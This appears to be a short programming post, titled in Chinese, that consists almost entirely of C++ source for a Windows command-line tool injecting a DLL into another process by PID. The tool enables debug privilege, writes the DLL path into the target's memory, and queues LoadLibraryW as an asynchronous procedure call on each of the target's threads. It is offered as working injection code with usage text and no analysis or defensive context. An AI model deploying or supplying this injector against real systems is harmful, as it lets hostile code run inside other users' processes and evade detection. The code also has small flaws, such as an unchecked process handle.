APC注入DLL功能实现

#include <tchar.h>#include <Windows.h>#include <TlHelp32.h>BOOL CurrentProcessAdjustToken(void);void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);int wmain(int argc, wchar_t *argv[]){  if (argc < 3) {    _putts(TEXT("usage: APCInjection [: pid] [: dll path]nexample: RemoteInjection.exe 512 C:\1.dlln"));    return 0;  } {    if (!CurrentProcessAdjustToken()) {      _putts(TEXT("Invalid AdjustToken"));    }    DWORD pid = 0;    pid = _wtoi(argv[1]);    if (pid <= 0) {      _putts(TEXT("Invalid pid"));      return 0;    }    HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);    const wchar_t* dllPath = argv[2];    _putts(dllPath);    LPVOID mem = NULL;    mem = VirtualAllocEx(process, NULL, wcslen(dllPath) * sizeof(WCHAR), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (!mem) {      _putts(TEXT("VirtualAllocEx error"));      return 0;    }    if (!WriteProcessMemory(process, mem, dllPath, wcslen(dllPath) * sizeof(WCHAR), NULL)) {      DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());      return 0;    }    FARPROC pFuncAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");    HANDLE hSnap = NULL;    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    if (NULL == hSnap) {      DisplayErrorMessage((LPTSTR)"Create Snapshot error: ", GetLastError());      return 0;    }    THREADENTRY32 te = { 0 };    te.dwSize = sizeof(THREADENTRY32);    Thread32First(hSnap, &te);    do {      if (te.th32OwnerProcessID == pid) {        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);        QueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)mem);        ResumeThread(hThread);        CloseHandle(hThread);      }    } while (Thread32Next(hSnap, &te));    CloseHandle(hSnap);    CloseHandle(process);    return 1;  }}BOOL CurrentProcessAdjustToken(void) {  HANDLE hToken;  TOKEN_PRIVILEGES sTP;  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {      CloseHandle(hToken);      return FALSE;    }    sTP.PrivilegeCount = 1;    sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {      CloseHandle(hToken);      return FALSE;    }    CloseHandle(hToken);    return TRUE;  }  return FALSE;}void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError) {  HLOCAL hlErrorMessage = NULL;  if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))  {    _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));    LocalFree(hlErrorMessage);  }}